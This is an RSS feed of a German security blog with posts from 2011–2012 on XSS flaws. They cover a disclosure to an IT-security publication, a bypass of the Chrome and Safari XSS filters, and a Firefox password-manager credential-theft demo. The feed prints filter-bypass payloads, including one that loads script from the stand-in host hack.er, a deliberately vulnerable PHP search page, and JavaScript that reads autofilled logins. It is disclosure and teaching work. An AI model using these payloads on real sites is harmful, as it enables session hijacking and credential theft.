<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>mein gott und meine welt &#187; XSS</title>
	<atom:link href="http://meingottundmeinewelt.de/category/computer/xss/feed/" rel="self" type="application/rss+xml" />
	<link>http://meingottundmeinewelt.de</link>
	<description>nichts für leute die aus ihren dogmen nicht ausbrechen können</description>
	<lastBuildDate>Tue, 07 Feb 2012 10:02:21 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>&#8220;aber ob und wann&#8221; die L&#252;cke geschlossen wird&#8230;</title>
		<link>http://meingottundmeinewelt.de/2012/01/29/aber-ob-und-wann-die-lucke-geschlossen-wird/</link>
		<comments>http://meingottundmeinewelt.de/2012/01/29/aber-ob-und-wann-die-lucke-geschlossen-wird/#comments</comments>
		<pubDate>Sun, 29 Jan 2012 12:45:43 +0000</pubDate>
		<dc:creator>ich</dc:creator>
				<category><![CDATA[Sicherheit]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://meingottundmeinewelt.de/?p=6682</guid>
		<description><![CDATA[Vor ein paar Tagen habe ich mal wieder einen Hinweis zu einer XSS-L&#252;cke verschickt. Mein Beispiel war die Injektion eines Bildes, mit einem JavaScript-Alert, also das &#252;bliche. Die Antwort kam sehr schnell: Ich werde den Fehler nat&#252;rlich umgehend an unser Technikteam in der *** Zentrale weiterleiten, aber ob und wann dort die Ressourcen zugeteilt werden [...]]]></description>
			<content:encoded><![CDATA[<p>Vor ein paar Tagen habe ich mal wieder einen Hinweis zu einer XSS-L&#252;cke verschickt. Mein Beispiel war die Injektion eines Bildes, mit einem JavaScript-Alert, also das &#252;bliche. Die Antwort kam sehr schnell:</p>
<blockquote><p>Ich werde den Fehler nat&#252;rlich umgehend an unser Technikteam in der *** Zentrale weiterleiten, aber ob und wann dort die Ressourcen zugeteilt werden um diesen Fehler zu beheben&#8230;</p></blockquote>
<p>Den, den ich da angeschrieben habe, war nicht das Hotel um die Ecke oder ein Shop mit f&#252;nf Artikeln im System, es ist eine sehr bekannte Publikation die sich mit dem Thema IT-Sicherheit besch&#228;ftigt, also musste ich einfach noch einmal Antworten:</p>
<blockquote><p>ich muss gestehen, Sie haben mich mit Ihrer Antwort verbl&#252;fft.</p>
<p>Bei einer Publikation die sich prim&#228;r dem Thema IT-Sicherheit zuwendet, hatte ich nicht erwartet, dass es bei der Fehlerbehebung um das &#8220;ob&#8221; geht. :O)</p>
<p>Die L&#252;cke ist nicht schwer zu finden, das hei&#223;t: Jedes Scriptkiddie kann sich als gro&#223;er Hacker aufspielen, um an der Reputation von *** zu kratzen.</p>
<p>Der Cookie-Flag HttpOnly ist nicht gesetzt, weshalb der Session-Cookie per XSS ausgelesen werden kann. Die Session-ID ist nicht an die IP-Adresse des Benutzers gebunden. Das Fehlen dieser beiden Sicherungen, macht es einem Angreifer sehr leicht, per XSS in einen Benutzeraccount einzubrechen.</p>
<p>Das Session-Handling ist komplett fehlerhaft. Beim &#220;bergang von http zu https wird die Session nicht gewechselt, was das Login per https (wegen der fehlenden IP-Bindung) ad absurdum f&#252;hrt. Es fehlt nat&#252;rlich auch der Cookie-Flag Secure.</p>
<p>Die gleiche XSS-L&#252;cke findet sich auch in den folgenden Seiten:<br />
***.de<br />
***.de<br />
***.de<br />
***.de<br />
***.de</p></blockquote>
<p>Am n&#228;chsten Tag war die XSS-L&#252;cke dann schon gefixt, also hat jemand sehr schnell die &#8220;Ressourcen zugeteilt&#8221;. Aber die anderen Probleme bestehen weiterhin und es ist so gut wie sicher, dass es in der Seite irgendwo weitere XSS-L&#252;cken gibt.</p>
<p>Das Login, wie es sein sollte per https:<br />
<img src="../../../../../../wp-content/images/itsec-login.gif" alt="itsec-login" /></p>
<p>Das Editieren im Benutzeraccount sollte aber auf gar keinen Fall unverschl&#252;sselt erfolgen. Hier der Request bei der &#196;nderung des Passwortes:<br />
<img src="../../../../../../wp-content/images/itsec-pw-edit.gif" alt="itsec-pw-edit" /></p>
<p>Das &#8220;Technikteam&#8221; wei&#223; nicht so recht warum https verwendet wird. Sie haben wohl mal geh&#246;rt dass man dieses komische SSL f&#252;r Logins benutzen sollte, aber warum das gut sein soll? &#8220;Keine Ahnung, schadet ja nicht.&#8221; Anders ist es nicht zu erkl&#228;ren, warum es nur beim Login eine Verschl&#252;sselung gibt.</p>
<p>Warum wird denn die Kommunikation zwischen Server und Client verschl&#252;sselt?</p>
<blockquote><p>Ohne Verschl&#252;sselung sind Web-Daten f&#252;r jeden, der Zugang zum entsprechenden Netz hat, als Klartext lesbar. Mit der zunehmenden Verbreitung von Funkverbindungen, die etwa an WLAN-Hotspots h&#228;ufig unverschl&#252;sselt ablaufen, nimmt die Bedeutung von HTTPS zu, da hiermit die Inhalte unabh&#228;ngig vom Netz verschl&#252;sselt werden.</p></blockquote>
<p>Besser k&#246;nnte ich es nicht in Worte fassen, deshalb als Zitat aus Wikipedia.<br />
Quelle: <a target="_blank" href="http://de.wikipedia.org/wiki/Https"  title="http://de.wikipedia.org/wiki/Https">http://de.wikipedia.org/wiki/Https</a></p>
<p>Die Cookie-Flags HttpOnly und Secure werden f&#252;r den entscheidenden Session-Cookie nicht gesetzt:<br />
<img src="../../../../../../wp-content/images/itsec-cookie-flag.gif" alt="itsec-cookie-flag" /></p>
<p>Der gesetzte HttpOnly-Flag w&#252;rde daf&#252;r sorgen, dass der Inhalt der Cookies nicht per JavaScript (XSS) ausgelesen werden kann. Liebes &#8220;Technikteam&#8221;, dies macht ein Angreifer nat&#252;rlich NICHT per <code>alert(document.cookie)</code>, sondern so, dass das Opfer dies nicht bemerkt.</p>
<p>Der gesetzte Secure-Flag w&#252;rde daf&#252;r sorgen, dass Cookies nur per https &#252;bertragen werden. Auch ein Man-in-the-middle k&#246;nnte die Cookies nicht im Klartext lesen, womit diese unbrauchbar w&#228;ren.</p>
<p>Das was das &#8220;Technikteam&#8221; da gebastelt hat, ist so unsagbar schlecht, dass in der &#8220;Zentrale&#8221; sofort einige Stellen neu besetzt werden m&#252;ssten.<br />
<br style="clear:both" /><br />
Wie man nur mit einer Session-ID bewaffnet in ein Benutzerkonto einbricht zeigt dies kurze Video:<br />
<iframe width="505" height="372" src="http://www.youtube.com/embed/2laABBirjbU" frameborder="0" allowfullscreen></iframe></p>
<p>Das Formular nimmt die Session-ID auf, generiert eine URL inkl. Cross-Site Scripting, welche an die anf&#228;llige Website geschickt wird. Die Injektion setzt einfach den Cookie f&#252;r die Session-ID und leitet dann zur Profilseite des Opfers weiter, sehr einfach, deshalb sieht man in dem Video auch nicht viel. :O)</p>
<p>Die XSS-L&#252;cke in Bebo ist nicht neu, die Verantwortlichen k&#252;mmert&#8217;s nur nicht, wohl weil es Benutzer sind, die nicht direkt Geld bezahlen.<br />
<a target="_blank" href="http://xssed.com/mirror/67289/" >http://xssed.com/mirror/67289/</a></p>
<blockquote><p>Date submitted: 17/06/2010<br />
Date published: 18/06/2010</p></blockquote>
<p><br style="clear:both" /><br />
Update: 01.02.2012 &#8211; 18:13 Uhr</p>
<p>Der Session-Cookie hat einen HttpOnly-Flag spendiert bekommen:<br />
<img src="../../../../../../wp-content/images/itsec-cookie-flag-2.gif" alt="itsec-cookie-flag-2" /><br />
<br style="cear:both" /><br />
Noch ein Link passend zum Thema XSS und HttpOnly:<br />
&#8220;<a target="_blank" href="http://fd.the-wildcat.de/apache_e36a9cf46c.php" >Apache httpOnly Cookie Disclosure</a>&#8221; (fd.the-wildcat.de)<br />
<br style="clear:both" /><br />
Update: 01.02.2012 &#8211; 22:00 Uhr</p>
<p>Wie ich schon erwartete, habe ich eine weitere XSS-L&#252;cke gefunden, aber Dank des HttpOnly-Flags kann nun der Session-Cookie nicht ausgelesen werden.<br />
(Weil es kein Apache ist.)<br />
<br style="clear:both" /><br />
Update: 07.02.2012 &#8211; 10:58 Uhr</p>
<p>Die letzte XSS-L&#252;cke wurde mittlerweile geschlossen, aber es gibt sicher weitere L&#252;cken.</p>
<p>Der Secure-Flag f&#252;r den Cookie der Session-ID wird noch immer nicht gesetzt und auch das Editieren innerhalb des Benutzerkontos erfolgt noch immer unverschl&#252;sselt.</p>
<p>Hiermit will ich es mal damit bewenden lassen, schlie&#223;lich kann ich den Verlag nicht zwingen mehr f&#252;r die Sicherheit seiner Besucher zu tun.</p>
]]></content:encoded>
			<wfw:commentRss>http://meingottundmeinewelt.de/2012/01/29/aber-ob-und-wann-die-lucke-geschlossen-wird/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>XSS-Schutz von Chrome und Safari umgehen</title>
		<link>http://meingottundmeinewelt.de/2011/05/26/xss-schutz-von-chrome-und-safari-umgehen/</link>
		<comments>http://meingottundmeinewelt.de/2011/05/26/xss-schutz-von-chrome-und-safari-umgehen/#comments</comments>
		<pubDate>Thu, 26 May 2011 21:57:31 +0000</pubDate>
		<dc:creator>ich</dc:creator>
				<category><![CDATA[Sicherheit]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://meingottundmeinewelt.de/?p=6278</guid>
		<description><![CDATA[In dem Report meiner Checks schreibe ich dem Kunden immer dazu mit welchem Browser mein XSS-Exploit auszunutzen ist, damit er es nachvollziehen kann &#8212; es gibt n&#228;mlich nichts schlimmeres als einen Exploit der beim Programmierer nicht funktioniert, weil er den &#8220;falschen&#8221; Browser benutzt. In den letzten Wochen musste ich aus der Liste der anf&#228;lligen Browser [...]]]></description>
			<content:encoded><![CDATA[<p>In dem Report meiner Checks schreibe ich dem Kunden immer dazu mit welchem Browser mein XSS-Exploit auszunutzen ist, damit er es nachvollziehen kann &mdash; es gibt n&#228;mlich nichts schlimmeres als einen Exploit der beim Programmierer nicht funktioniert, weil er den &#8220;falschen&#8221; Browser benutzt.</p>
<p>In den letzten Wochen musste ich aus der Liste der anf&#228;lligen Browser auch den Chrome entfernen, womit nur noch Firefox und Opera von mir als Testbrowser gemeldet wurden. Der Safari ist schon l&#228;nger aus meiner Liste rausgeflogen, da ein XSS-Schutz dort seit langer Zeit implementiert ist. Injiziertes HTML kann man auch im Safari und Chrome rendern lassen, JavaScript hingegen nicht.</p>
<p>Ich bin ja eher skeptisch wenn ein Filter das eine blockiert und das anderer durchl&#228;sst, weshalb ich selber etwas Browser-Forschung betrieben habe, da der Chrome, im Gegensatz zum Safari, eine weite Verbreitung gefunden hat.<br />
<br style="clear:both" /><br />
Erst letzte Woche wies ich in einem Kommentar darauf hin, dass auch der Safari einen Schutz gegen Cross-Site Scripting enth&#228;lt, was auch zur Erg&#228;nzung des Artikels f&#252;hrte:<br />
&#8220;<a target="_blank" href="http://blogs.technet.com/b/sieben/archive/2011/05/16/facebook-ie9-als-einziger-gegen-xss-angriffe-ger-252-stet.aspx" >Facebook: IE9 als einziger gegen XSS Angriffe ger&#252;stet</a>&#8221; (blogs.technet.com)</p>
<p>Und nun.. Sorry! Meine Forschung war erfolgreich, bzw. aus Sicht von Google und Apple eher unerfreulich. Nun muss der Artikel schon wieder ge&#228;ndert werden und der Internet Explorer ist noch immer ungeschlagen &mdash; was den Schutz gegen Cross-Site Scripting angeht. :O)<br />
<br style="clear:both" /><br />
Injiziert man</p>
<ul>
<li><code>&lt;script src=http://hack.er/s&gt;&lt;/script&gt;</code><br />
oder wenn spitze Klammern nicht zul&#228;ssig sind</li>
<li><code>&quot; onmouseover=alert(document.cookie) &quot;</code></li>
</ul>
<p>dann wird dies im Safari und im Chrome nicht ausgef&#252;hrt.</p>
<p>Werden die Injektionen wie folgt abge&#228;ndert, wird der Filter von Safari und Chrome umgangen und der Schadcode wird ausgef&#252;hrt:</p>
<ul>
<li><code>&lt;script src=http://hack.er/s<span style="color:red">//&amp;lt;</span>&lt;/script&gt;</code></li>
<li><code>&quot; onmouseover=alert(document.cookie)<span style="color:red">//</span>&quot;</code></li>
</ul>
<p><br style="clear:both" /><br />
Wieder ein Beispiel f&#252;r: <strong>Blacklisting ist unsicher!</strong></p>
<p>Der Internet Explorer ist wirklich recht sicher was XSS angeht, denn der Filter schmei&#223;t alles raus was injiziert wird. Ob der IE auch mal etwas f&#228;lschlich als einen Angriff wertet, kann ich nicht sagen, da es f&#252;r OS-X keinen Browser von Microsoft gibt und ich Windows nur f&#252;r bestimmte Tests heranziehe, um zu sehen ob meine Funde auch unter anderen Betriebssystemen funktionieren.<br />
<br class="clear:both" /><br />
Update: 28.05.2011 &#8211; 18:36 Uhr</p>
<p>Eine Leerzeile im Quellcode kann dar&#252;ber entscheiden ob sich eine XSS-L&#252;cke <a href="../../../../../../wp-content/images/chrome-xss-1.gif" rel="lightbox[chrome]" title="Ohne Leerzeile / mit XSS-L&#252;cke">auftut</a> oder <a href="../../../../../../wp-content/images/chrome-xss-2.gif" rel="lightbox[chrome]" title="Mit Leerzeile / ohne XSS-L&#252;cke">nicht</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://meingottundmeinewelt.de/2011/05/26/xss-schutz-von-chrome-und-safari-umgehen/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Die haben einen an der WAFfel &#8212; 50k &#8364; inkl. XSS?</title>
		<link>http://meingottundmeinewelt.de/2011/05/11/die-haben-einen-an-der-waffel-50k-inkl-xss/</link>
		<comments>http://meingottundmeinewelt.de/2011/05/11/die-haben-einen-an-der-waffel-50k-inkl-xss/#comments</comments>
		<pubDate>Wed, 11 May 2011 12:53:14 +0000</pubDate>
		<dc:creator>ich</dc:creator>
				<category><![CDATA[Sicherheit]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://meingottundmeinewelt.de/?p=6244</guid>
		<description><![CDATA[&#8220;Watchguard lanciert neue Firewall-L&#246;sung&#8221; (it-markt.ch) (&#8230;) Angriffe von aussen soll die Integrierte Intrusion Prevention (IPS) abwehren. Zum Beispiel Netzwerkbedrohungen wie Spyware, SQL Injections, Cross-Site Scripting und Buffer Overflow. (&#8230;) Die XTM 2050 ist zu einem Preis ab 65&#8217;994 Franken erh&#228;ltlich und kann ab Juni bei autorisierten Watchguard-Partnern bezogen werden. Dieser JavaScript-Alert (Erkl&#228;rung von mir dazu: [...]]]></description>
			<content:encoded><![CDATA[<p>&#8220;<a target="_blank" href="http://www.it-markt.ch/News/2011/05/11/Watchguard-lanciert-neue-Firewall-Loesung.aspx" >Watchguard lanciert neue Firewall-L&#246;sung</a>&#8221; (it-markt.ch) </p>
<blockquote><p>(&#8230;)<br />
Angriffe von aussen soll die Integrierte Intrusion Prevention (IPS) abwehren. Zum Beispiel Netzwerkbedrohungen wie Spyware, SQL Injections, Cross-Site Scripting und Buffer Overflow.<br />
(&#8230;)<br />
Die XTM 2050 ist zu einem Preis ab 65&#8217;994 Franken erh&#228;ltlich und kann ab Juni bei autorisierten Watchguard-Partnern bezogen werden.</p></blockquote>
<p>Dieser JavaScript-Alert (Erkl&#228;rung von mir dazu: &#8220;<a href="http://meingottundmeinewelt.de/2011/04/27/xss-passwort-manager-im-firefox/" >XSS: Passwort-Manager im Firefox</a>&#8220;)<br />
<img src="../../../../../../wp-content/images/watchguard_com-xss.gif" alt="watchguard.com xss" /><br />
zeigt, dass nicht einmal Watchguard selber in der Lage ist seine Firewall korrekt zu konfigurieren. Wie soll es dann ein Kunde k&#246;nnen?</p>
<p>Ich wei&#223; nat&#252;rlich nicht ob sie selber die 52.109,41 Euro teure Schleuder einsetzen. JavaScript via <code>&lt;script src=http://...</code> kann injiziert werden, was eher nach dem kompletten Fehlen einer Firewall aussieht. Die XSS-L&#252;cke steckt nicht im Login selber, sondern &#8220;nur&#8221; in einer Unterseite, welche aber per <code>https://</code> erreichbar ist, weshalb das Auslesen der Zugangsdaten so reibungslos funktioniert.</p>
]]></content:encoded>
			<wfw:commentRss>http://meingottundmeinewelt.de/2011/05/11/die-haben-einen-an-der-waffel-50k-inkl-xss/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>XSS: Passwort-Manager im Firefox</title>
		<link>http://meingottundmeinewelt.de/2011/04/27/xss-passwort-manager-im-firefox/</link>
		<comments>http://meingottundmeinewelt.de/2011/04/27/xss-passwort-manager-im-firefox/#comments</comments>
		<pubDate>Wed, 27 Apr 2011 06:47:35 +0000</pubDate>
		<dc:creator>ich</dc:creator>
				<category><![CDATA[Sicherheit]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://meingottundmeinewelt.de/?p=6125</guid>
		<description><![CDATA[Wieder einmal geht es mir um Cross-Site Scripting (de.wikipedia.org) und die Anf&#228;lligkeit des Passwort-Manager im Firefox, f&#252;r unbemerktes Auslesen der Zugangsdaten. Auch in der neuen Version des Firefox wurde die dumme Sicherheitsl&#252;cke, welche automatisch die Zugangsdaten in ein Login-Formular eintr&#228;gt, nicht bereinigt. Diesmal habe ich hier auch Quellcodes mit aufgef&#252;hrt, damit jeder selber die Dummheit [...]]]></description>
			<content:encoded><![CDATA[<p>Wieder einmal geht es mir um <a target="_blank" href="http://de.wikipedia.org/wiki/Cross-Site_Scripting" >Cross-Site Scripting</a> (de.wikipedia.org) und die Anf&#228;lligkeit des Passwort-Manager im Firefox, f&#252;r unbemerktes Auslesen der Zugangsdaten. Auch in der neuen Version des Firefox wurde die dumme Sicherheitsl&#252;cke, welche automatisch die Zugangsdaten in ein Login-Formular eintr&#228;gt, nicht bereinigt. Diesmal habe ich hier auch Quellcodes mit aufgef&#252;hrt, damit jeder selber die Dummheit im Browser nachvollziehen und ein eigenes Beispiel bauen kann.</p>
<p>Das Beispiel ist online, d.h. es kann auch einfach nur zur Demonstration benutzt werden. Es speichert keine Daten, weder vom Login noch von der Suche.<br />
<br style="clear:both" /></p>
<h2>Das Opfer</h2>
<h3>Das Login</h3>
<p>Dies Login dient nur dazu, die Zugangsdaten im Passwort-Manager des Firefox zu speichern.</p>
<p><a href="http://pm.mc0.de/login.php"  target="_blank">http://pm.mc0.de/login.php</a><br />
<img src="../../../../../../wp-content/images/xss-ff-pm-1.gif" alt="xss-ff-pm-1" /></p>

<div class="wp_syntax"><div class="code"><pre class="html4strict" style="font-family:monospace;"><span style="color: #00bbdd;">&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Strict//EN&quot;</span>
<span style="color: #00bbdd;">        &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd&quot;&gt;</span>
<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">html</span> xmlns<span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;http://www.w3.org/1999/xhtml&quot;</span>&gt;</span>
<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">head</span>&gt;</span>
	<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">title</span>&gt;</span>Login: XSS Demo Password Manager<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">title</span>&gt;</span>
<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">head</span>&gt;</span>
<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">body</span>&gt;</span>
&nbsp;
<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">h2</span>&gt;</span>Login: XSS Demo Password Manager<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">h2</span>&gt;</span>
&nbsp;
<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">form</span> <span style="color: #000066;">method</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;post&quot;</span> <span style="color: #000066;">action</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;login.php&quot;</span>&gt;</span>
	Username: <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">input</span> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;text&quot;</span> <span style="color: #000066;">name</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;u&quot;</span> <span style="color: #66cc66;">/</span>&gt;&lt;<span style="color: #000000; font-weight: bold;">br</span> <span style="color: #66cc66;">/</span>&gt;</span>
	Password: <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">input</span> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;password&quot;</span> <span style="color: #000066;">name</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;p&quot;</span> <span style="color: #66cc66;">/</span>&gt;&lt;<span style="color: #000000; font-weight: bold;">br</span> <span style="color: #66cc66;">/</span>&gt;</span>
	<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">input</span> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;submit&quot;</span> <span style="color: #000066;">value</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;Login&quot;</span> <span style="color: #66cc66;">/</span>&gt;</span>
<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">form</span>&gt;</span>
&nbsp;
<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">body</span>&gt;</span>
<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">html</span>&gt;</span></pre></div></div>

<hr style="clear:both" />
<h3>Die Suche</h3>
<p>Die XSS-L&#252;cke f&#252;r den Angreifer habe ich in eine fiktive Suchfunktion eingebaut.</p>
<p><a href="http://pm.mc0.de/suche.php"  target="_blank">http://pm.mc0.de/suche.php</a><br />
<img src="../../../../../../wp-content/images/xss-ff-pm-2.gif" alt="xss-ff-pm-4" /></p>

<div class="wp_syntax"><div class="code"><pre class="html4strict" style="font-family:monospace;"><span style="color: #009900;">&lt;?</span>
<span style="color: #009900;">if <span style="color: #66cc66;">&#40;</span>isset<span style="color: #66cc66;">&#40;</span>$_POST<span style="color: #66cc66;">&#91;</span><span style="color: #ff0000;">'s'</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span></span>
<span style="color: #009900;">	$s <span style="color: #66cc66;">=</span> $_POST<span style="color: #66cc66;">&#91;</span><span style="color: #ff0000;">'s'</span><span style="color: #66cc66;">&#93;</span>;</span>
<span style="color: #009900;"><span style="color: #66cc66;">&#125;</span> </span>
<span style="color: #009900;">?&gt;</span>
<span style="color: #00bbdd;">&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Strict//EN&quot;</span>
<span style="color: #00bbdd;">        &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd&quot;&gt;</span>
<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">html</span> xmlns<span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;http://www.w3.org/1999/xhtml&quot;</span>&gt;</span>
<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">head</span>&gt;</span>
	<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">title</span>&gt;</span>Suche: XSS Demo Password Manager<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">title</span>&gt;</span>
<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">head</span>&gt;</span>
<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">body</span>&gt;</span>
&nbsp;
<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">h2</span>&gt;</span>Suche: XSS Demo Password Manager<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">h2</span>&gt;</span>
&nbsp;
<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">form</span> <span style="color: #000066;">method</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;post&quot;</span> <span style="color: #000066;">action</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;suche.php&quot;</span>&gt;</span>
	<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">input</span> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;text&quot;</span> <span style="color: #000066;">value</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;&lt;?=$s?&gt;</span></span>&quot; name=&quot;s&quot; size=&quot;40&quot; /&gt;
	<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">input</span> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;submit&quot;</span> <span style="color: #000066;">value</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;Suchen&quot;</span> <span style="color: #66cc66;">/</span>&gt;</span>
<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">form</span>&gt;</span>
&nbsp;
<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">body</span>&gt;</span>
<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">html</span>&gt;</span></pre></div></div>

<p>Die Eingabe der Suchanfrage wird in der POST-Variable <code>s</code> gespeichert und ungefiltert (die XSS-L&#252;cke) wieder in dem Eingabefeld der Suche ausgegeben. Dies (auch die XSS-L&#252;cke &lt;g&gt;) findet man sehr h&#228;ufig in Suchfunktionen, damit der Suchende seine Suche verfeinern kann ohne immer wieder alles neu eingeben zu m&#252;ssen.</p>
<hr style="clear:both" />
<p><br style="clear:both" /></p>
<h2>Der Angreifer</h2>
<h3>Eine XSS-L&#252;cke wurde gefunden</h3>
<p><img src="../../../../../../wp-content/images/xss-ff-pm-3.gif" alt="xss-ff-pm-3" /><br />
Diese L&#252;cke kann ausgenutzt werden um die Zugangsdaten von registrierten Benutzern der Website auszusp&#228;hen. Hierzu braucht es aber keine L&#252;cke auf der Seite mit dem Login selber. Der Firefox vergleicht einfach nur das Protokoll (<code>http</code> oder <code>https</code>) und die Domain. Findet er f&#252;r eine Domain mit dem entsprechenden Protokoll einen Eintrag in seinem Passwort-Manager so f&#252;llt er die Eingabefelder automatisch aus.</p>
<ol>
<li>
Beispiel:<br />
<code><strong>http://www.domain.tld/</strong>login.cgi</code><br />
<code><strong>http://www.domain.tld/</strong>verzeichnis/xss-luecke.cgi</code><br />
Hier besteht die M&#246;glichkeit die Zugangsdaten aus dem Passwort-Manager auszulesen.
</li>
<li>
Beispiel:<br />
<code><strong>https://www.domain.tld/</strong>login.cgi</code><br />
<code><strong>http://www.domain.tld/</strong>verzeichnis/xss-luecke.cgi</code><br />
W&#228;re das Login zwingend nur per <code>https</code> m&#246;glich, so braucht der Angreifer auch eine XSS-L&#252;cke in einem Script welches verschl&#252;sselt &#252;bertragen wird.
</li>
<li>
Beispiel:<br />
<code><strong>http://ww2.domain.tld/</strong>login.cgi</code><br />
<code><strong>http://www.domain.tld/</strong>verzeichnis/xss-luecke.cgi</code><br />
Auch ein Login unter einer anderen Subdomain w&#228;re mit der gefundenen XSS-L&#252;cke nicht angreifbar.
</li>
</ol>
<hr style="clear:both" />
<h3>Das injizierte JavaScript</h3>
<p><a target="_blank" href="http://pm.18c.de/ff.js" >http://pm.18c.de/ff.js</a></p>
<p>Mit etwas JavaScript kann der Firefox dazu gebracht werden die Zugangsdaten offen zu legen:</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #003366; font-weight: bold;">function</span> pass<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
	u <span style="color: #339933;">=</span> document.<span style="color: #660066;">getElementById</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;u&quot;</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">value</span><span style="color: #339933;">;</span>
	p <span style="color: #339933;">=</span> document.<span style="color: #660066;">getElementById</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;p&quot;</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">value</span><span style="color: #339933;">;</span>
	<span style="color: #000066;">alert</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'Benutzer: '</span> <span style="color: #339933;">+</span> u <span style="color: #339933;">+</span> <span style="color: #3366CC;">'<span style="color: #000099; font-weight: bold;">\n</span>Passwort: '</span> <span style="color: #339933;">+</span> p<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
document.<span style="color: #000066; font-weight: bold;">write</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'&lt;form&gt;&lt;input id=u type=text&gt;&lt;input id=p type=password&gt;&lt;<span style="color: #000099; font-weight: bold;">\/</span>form&gt;'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
setTimeout<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'pass()'</span><span style="color: #339933;">,</span> <span style="color: #CC0000;">200</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>Dieses Script erzeugt ein Formular in welches der Firefox automatisch die Zugangsdaten eintr&#228;gt, die Daten werden ausgelesen und per Alert angezeigt.</p>
